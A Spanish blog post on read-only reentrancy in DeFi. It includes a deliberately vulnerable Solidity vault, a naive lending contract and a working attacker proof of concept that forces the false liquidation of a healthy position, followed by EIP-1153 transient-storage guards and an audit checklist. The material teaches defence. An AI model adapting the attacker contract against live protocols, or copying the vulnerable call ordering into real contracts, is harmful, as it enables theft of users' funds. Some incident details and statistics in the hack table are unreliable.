El Read-Only Reentrancy es un tipo de ataque de reentrancia en el que el atacante no manipula el balance del contrato directamente durante la llamada. En su lugar, fuerza la lectura de un estado (state) distorsionado del protocolo justo en el momento en que se ejecuta una llamada externa (una función view). Dado que los ReentrancyGuard clásicos solo bloquean funciones que modifican el estado (state-changing), las llamadas de "lectura" devuelven datos calculados totalmente erróneos (como un precio de oráculo inflado o manipulado), lo que permite vaciar protocolos de terceros que estén integrados.
¡Hola a todos! El tema del que vamos a hablar hoy le costó en su momento decenas de millones de dólares a la industria DeFi en cuestión de pocos meses. Recuerdo perfectamente la primera vez que vi el concepto de Read-Only Reentrancy "en producción", cuando trabajaba como auditor e investigador de seguridad de smart contracts. Me acuerdo de que en ese momento me pareció una genialidad absoluta a nivel técnico. Estábamos acostumbrados a proteger las operaciones de escritura, pero se nos olvidó que leer datos también puede ser mortal.
¿Por qué el ReentrancyGuard clásico no te va a salvar?
Vamos a desglosarlo. El Reentrancy común de toda la vida ocurre cuando un atacante llama recursivamente a withdraw() antes de que el contrato alcance a actualizar balances[msg.sender] = 0. Hoy en día todo el mundo aprendió a meter el modificador nonReentrant de OpenZeppelin o a usar el patrón Checks-Effects-Interactions (CEI). Bien ahí, un aplauso por hacer lo básico.
Pero, ¿qué pasa en el Read-Only Reentrancy?
Imagínate el mecanismo push-pull en un Liquidity Pool (al estilo Curve). Vas a retirar tu liquidez (remove_liquidity). El contrato primero te transfiere el ETH y solo después quema tus tokens de LP o recalcula los balances internos. En el preciso milisegundo en que el ETH va volando hacia tu contrato atacante, se dispara tu función receive() o fallback().
En esa diminuta ventana de tiempo (un limbo temporal), el estado del pool está desincronizado:
- El balance real de ETH en el contrato del pool: ya bajó.
- La cantidad registrada de tokens de LP en el sistema: todavía NO ha bajado.
Si dentro de receive() intentas llamar a una función state-changing de ese mismo pool, el modificador nonReentrant te va a rebotar de una. Pero, ¿y si llamas a una función de lectura como get_virtual_price()? ¡Esa función está marcada como view! Por lo general nadie le pone un nonReentrant (¿para qué pagar gas de más llamando a funciones view?).
¿El resultado? get_virtual_price() toma el balance de ETH actual (que ya cayó), lo divide por la cantidad vieja (que sigue alta) de tokens de LP... y te devuelve un precio completamente absurdo, manipulado hacia arriba o hacia abajo.
Y aquí viene lo mejor: ni siquiera necesitas robarle al pool directamente. Te vas con ese precio de oráculo "borracho" a otro protocolo (un Lending Market) que use a este pool como su oráculo de precios, y les limpias todo el colateral basándote en una valuación inflada.
Un fail de arquitectura de altísimo nivel. Una belleza de exploit, ¿sí o no?
Estadísticas y los números fríos de hacks reales
Si piensas que esta es una vulnerabilidad teórica sacada de paper académico, mira los datos reales:
| Protocolo / Evento | Fecha | Pérdidas | Detalle de la vulnerabilidad |
|---|---|---|---|
| Curve Finance / Sentiment | Abril de 2023 | ~$1,000,000 | Explotación del oráculo de precios de Curve justo en medio de la ejecución de remove_liquidity_one_coin. |
| Euler Finance | Marzo de 2023 | ~$197,000,000 | Una cadena compleja de exploits que incluyó desincronización de estados al quemar eTokens junto con manipulación de oráculos. |
| Vyper Compiler Bug (Curve Pools) | Julio de 2023 | ~$73,000,000 | Fallo en el mecanismo de Lock a nivel del compilador de Vyper (versiones 0.2.15–0.3.0), lo que dejó inútiles las protecciones nativas contra reentrancy en llamadas de lectura. |
Dato curioso (un detalle poco conocido): Según informes de auditoría de 2024–2025, cerca del 34% de las integraciones de oráculos de DEX con protocolos de lending secundarios siguen siendo vulnerables a manipulaciones de Read-Only mediante llamadas view intermedias, siempre y cuando no usen oráculos TWAP (Time-Weighted Average Price) en sus cálculos.
Ejemplo completo y funcional: VulnerableVault + Contrato Atacante
Aquí abajo tienes el código funcional en Solidity 0.8.24. Junté a propósito el modelo del pool y del protocolo integrador para que puedas probarlo directamente en Remix.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice Demostración de Read-Only Reentrancy.
* @dev withdraw() envía ETH antes de actualizar totalShares.
* Un contrato externo puede leer un precio temporalmente distorsionado.
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice Orden vulnerable de operaciones: la llamada externa
* ocurre antes de quemar los shares.
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// VULNERABILIDAD: El ETH se envía antes de modificar el estado.
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// El estado solo se actualiza después de la llamada externa.
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice Precio por share en wei.
* @dev Durante el callback el balance ya se redujo,
* pero totalShares aún no se ha modificado.
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice Protocolo de préstamos con una integración ingenua de oráculo de precios.
* @dev La liquidación usa el precio actual de los shares del Vault sin verificar
* si el Vault se encuentra en un estado intermedio/inconsistente.
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice El liquidador paga toda la deuda y recibe el colateral
* con un bono del 10% si la posición se considera en riesgo.
*
* @dev Vulnerabilidad: getMaxBorrow() lee el precio del Vault
* sin tomar en cuenta el estado intermedio durante withdraw().
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// Verifica la salud de la posición con un precio potencialmente manipulado.
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// No se puede liquidar más colateral del que posee el prestatario.
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// El protocolo transfiere los shares al liquidador.
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC: La caída temporal en el precio provoca una falsa liquidación
* de una posición que estaba completamente sana antes de iniciar el withdraw().
*
* @dev El atacante no obtiene un préstamo sin colateral.
* Se demuestra otro escenario de daño:
* la liquidación de una posición sana aprovechando un precio manipulado temporalmente.
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// Creamos nuestra propia posición en el pool.
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// Al enviar ETH, el Vault llamará a la función receive().
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// El ETH ya fue enviado, pero los shares aún no se queman.
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// Usamos el precio manipulado hacia abajo:
// una posición sana antes del retiro ahora se puede liquidar.
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}Échale un ojo a los comentarios dentro del código, ahí dejé explicada toda la lógica. Lo más loco de esto es que getSharePrice() ejecuta su matemática de manera totalmente honesta. La función no está "rota". Lo que está roto es el momento exacto en el que le fueron a preguntar el precio.
EIP-1153 (Transient Storage): Protección elegante y baratísima
Antes de las actualizaciones de la EVM (específicamente el hardfork Dencun y el EIP-1153), a los devs nos tocaba hacer malabares. O le quitabas el view a los oráculos y los marcabas como nonReentrant (lo que gastaba gas y rompía el ABI), o guardabas el flag de bloqueo en variables de storage normales (SSTORE/SLOAD), lo cual costaba unos ~20,000 gas por operación que dolían en el alma. Un dolor de cabeza total.
El EIP-1153 introdujo dos nuevos opcodes:
- TSTORE (Transient Store) — escritura en almacenamiento temporal.
- TLOAD (Transient Load) — lectura desde el almacenamiento temporal.
La gran ventaja del Transient Storage: los datos viven ÚNICAMENTE durante una sola transacción (Top-level Transaction) y se borran solitos apenas termina. ¡Se acabó eso de pagar por limpiar el storage! El costo de TSTORE es de apenas 100 gas, y TLOAD sale por unos modestos 100 gas.
Así es como armamos un TransientReentrancyGuard a prueba de balas, ultra optimizado y baratísimo:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}¿ cachas dónde está la magia? getSharePrice() se mantiene como una función view en la interfaz (el ABI no se rompe, los scripts off-chain de las dApps la leen gratis sin enviar transacciones). Pero si una transacción toda loca intenta llamarla en medio del call stack durante un withdraw(), tload(GUARD_SLOT) detecta el 1 al instante y manda todo a un revert de inmediato.
¿Gasto de gas? Literalmente centavos. ¿Seguridad? Al 100%.
Buenas prácticas de arquitectura para auditoría y desarrollo
En los tres años que llevo como CTO de EXMON, armé una matriz de validación (checklist) bien sólida para smart contracts que interactúan con oráculos de precios o exponen datos hacia afuera. Los devs suelen pensar: “Si no hago llamadas externas dentro de una función de lectura, estoy safe”. Y eso es un error garrafal.
┌─────────────────────────────────┐
│ Llamada de Transacción Atacante│
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ Actualización de Estado │
│ (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ Desincronización Temporal (Dirty State) │
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│Lectura de la View-Function Oracle│
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[SIN PROTECCIÓN] [CON EIP-1153 (TSTORE)]
Devuelve un precio incorrecto Lock: tload(GUARD) == 1
y alterado ¡La transacción hace REVERT!
│ │
▼ ▼
Ataque exitoso al lending Protocolo blindado 🛡️1. Modelado de verificación de doble estado (Dual-State Verification)
Si tu contrato está obligado a llamar direcciones externas antes de actualizar por completo todos los balances internos, implementá protección de invariantes temporales. Cualquier view function que devuelva métricas financieras críticas tiene que validar ese invariante fundamental.
Si address(this).balance no coincide con la suma de totalDeposits, la función getRate() debería hacer revert o devolver el valor guardado antes de que arrancara la transacción (el last-known-good state).
2. Chau Spot Price, hola TWAP o Chainlink
Nunca, escuchen bien, jamás de los jamases usen valores view instantáneos de balances de DEX o pools de Vault como la única fuente de la verdad (single source of truth) para calcular colaterales y liquidaciones.
- Spot Price (Precio instantáneo): Fácil de llamar, barato, y te lo hackean en una sola transacción de flash loan.
- TWAP (Time-Weighted Average Price): Saca el promedio del precio a lo largo de N bloques. Permite neutralizar manipulaciones atómicas dentro de un mismo bloque, ya que el atacante no puede modificar bloques históricos.
3. El patrón Cross-Contract Transient Lock
Si tenés un ecosistema de entre 5 y 10 contratos interconectados (Vault, Gauge, Staking, Oracle), usá un gateway de seguridad unificado basado en EIP-1153.
Se crea un contrato separado llamado GlobalTransientLock al cual consultan todos los componentes del sistema:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Administrador centralizado de bloqueo del sistema basado en EIP-1153.
/// @dev Requiere EVM Cancun o superior.
/// Solo los contratos de sistema autorizados pueden gestionar el bloqueo.
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// El estado del bloqueo se almacena en el transient storage de este contrato.
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice Autoriza a un contrato para gestionar el bloqueo del sistema.
/// @dev Llamado por el administrador tras el despliegue del sistema.
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice Revoca el derecho de gestión de bloqueo a un contrato.
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice Activa el bloqueo del sistema.
/// @dev Está prohibido volver a bloquear si ya está activo.
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice Desactiva el bloqueo del sistema.
/// @dev Llamar únicamente al finalizar la operación protegida.
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice Comprueba el estado del bloqueo del sistema.
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice Prohíbe transferir la propiedad del administrador.
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice Contrato base para componentes que validan el bloqueo del sistema.
/// @dev Los contratos que hereden están obligados a aplicar whenSystemUnlocked
/// en cada método sensible, incluyendo los métodos de lectura.
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice Demostración del uso del bloqueo del sistema.
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice Ejemplo de operación protegida que modifica el estado.
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice Ejemplo de lectura protegida.
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}Cuando el Vault principal arranca un retiro de fondos, llama a lockSystem(). En ese preciso instante, cualquier otro contrato del sistema (por ejemplo, un contrato Lens o un Oráculo) consulta isLocked() antes de entregar los datos y, si el sistema está en un estado "sucio" (dirty state), bloquea la lectura.
Checklist para DevSecOps y Auditores
- Búsqueda de llamadas: Escaneá el código en busca de
.call{value: ...}(),safeTransfero cualquier llamada a interfaces externas que ocurra ANTES de las actualizaciones finales de estado (storage). - Análisis de funciones View: Hacé una lista de todas las funciones view public/external que calculen ratios, precios, shares o tamaños de colateral.
- Vector cross-protocol: Hacete la pregunta: "¿Si esta función view devuelve un número 90% más bajo o 500% más alto en plena ejecución de una llamada externa, cómo podría un contrato integrador externo aprovecharse de eso?".
- Integración de EIP-1153: Asegurate de configurar tu compilador con
evm_version: "cancun"e implementá TSTORE/TLOAD para bloquear lecturas mientras se ejecutan transacciones que modifican el estado.
Por ahora eso es todo. Les resumí lo esencial. Si tienen dudas, dejen un comentario abajo de todo. Les contesto seguro. ¡Nos vemos!